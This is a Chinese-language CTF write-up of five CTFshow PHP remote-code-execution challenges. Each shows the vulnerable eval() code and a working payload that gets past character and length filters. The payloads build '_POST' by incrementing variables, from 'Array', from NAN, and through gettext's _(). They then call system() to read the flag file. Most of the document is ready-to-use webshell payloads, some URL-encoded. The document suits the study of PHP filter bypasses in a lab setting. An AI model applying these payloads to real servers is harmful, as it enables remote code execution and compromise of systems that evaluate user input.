文章详细介绍了多个PHP远程代码执行（RCE）的挑战，包括如何利用字符串替换、变量自增、浮点数NAN和INF构造payload来绕过限制，以及使用gettext扩展函数来转化字符串。每个挑战都解析了payload的构造过程和原理，展示了在安全攻防中对PHP语法深入理解和利用的重要性。
CTFshow-RCE极限大挑战
RCE1
题目代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
利用post发送，payload:
code=echo `$_POST[1]`;&1=cat /f*
RCE2
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
禁用了字母数字和很多符号，可以用的符号有'[]()$_;+，可以确定是按照自增的方式来构造webshell进行RCE，payload构造过程：
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST
$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>
应该有部分人跟我一样，刚开始看这个东西是一脸懵，不知道是什么，我在这来详细解释一下
所有的$_以及类似的东西都是变量名称，在构造payload的过程就就是起到一个变量名的作用，类似于$a、$b，在然后在php中，如果强制连接数组和字符串的话，数组将被转换成字符串,例如在下列代码中
<?php
$a='';
$a = $a.[];
var_dump($a);
?>
$a为一个空格字符，在经过连接后接入了一个数组[]，即使这个数组里面什么也没有，但是在执行之后我们依然可以得到
于是利用这一点，我们可以得出Array中的第一个字母A，然后利用自增来得到POST
所以我们可以得到初始payload:
ctf_show=$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$$_[__]($$_[_]);&__=system&_=cat /f1agaaa
经过url转码得到payload：
ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa
RCE3
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
开始限制长度了，105字符，但是可以用数字0或者1，那么就可以通过(0/0)来构造float型的NAN，(1/0)来构造float型的INF，然后转换成字符串型，得到"NAN"和"INF"中的字符了，payload构造过程，这里直觉上认为构造_GET更简单，但是实际上目前可以用的字符当中，只有N离T最近，而从N开始自增构造T的时候，会经过OPQRS，所以其实构造_GET 的同时，已经把_POST构造出来了，相当于白构造了GE：
<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增，所以这一句结束的时候 $a是P，$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
payload：
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa
RCE4
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
84字符，只可以用数字0，那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0];直接得到字母N，payload构造过程：
<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增，自增完成之后再将值返回，也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
详细解释一下$a=(__/_._)[0]
$a=(_/_._)[0];
_/_ 就是除法，得出来就是NAN,效果等同于（0/0）
._是使NAN后拼接一个_,是其变成字符串NAN_ //在PHP中，如果强制连接数组和字符串的话，数组将被转换成字符串
于是$a=(_/_._)[0]=N
构造payload：
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
RCE5
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
限制73个字符，而且0也不可以用了，但是这里观察到phpinfo安装了一个扩展gettext，该扩展支持函数_() ,相当于gettext()，直接转化为字符串。另外，其实数组下标使用未定义常量，php会warning，但是可以继续运行，并返回下标为0的字符（现象是这样但是实际机制需要看php源码）。其余知识点上面都已经讲过了，剩下的就是靠经验和积累对payload进行精简，下面是payload构造过程：
<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
然后常规的替换成不可见字符变量名称，得到payload：
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
本文主要参考了官方wp，本文只是对其进行补充和个人总结：
CTFshow-RCE极限大挑战官方wp
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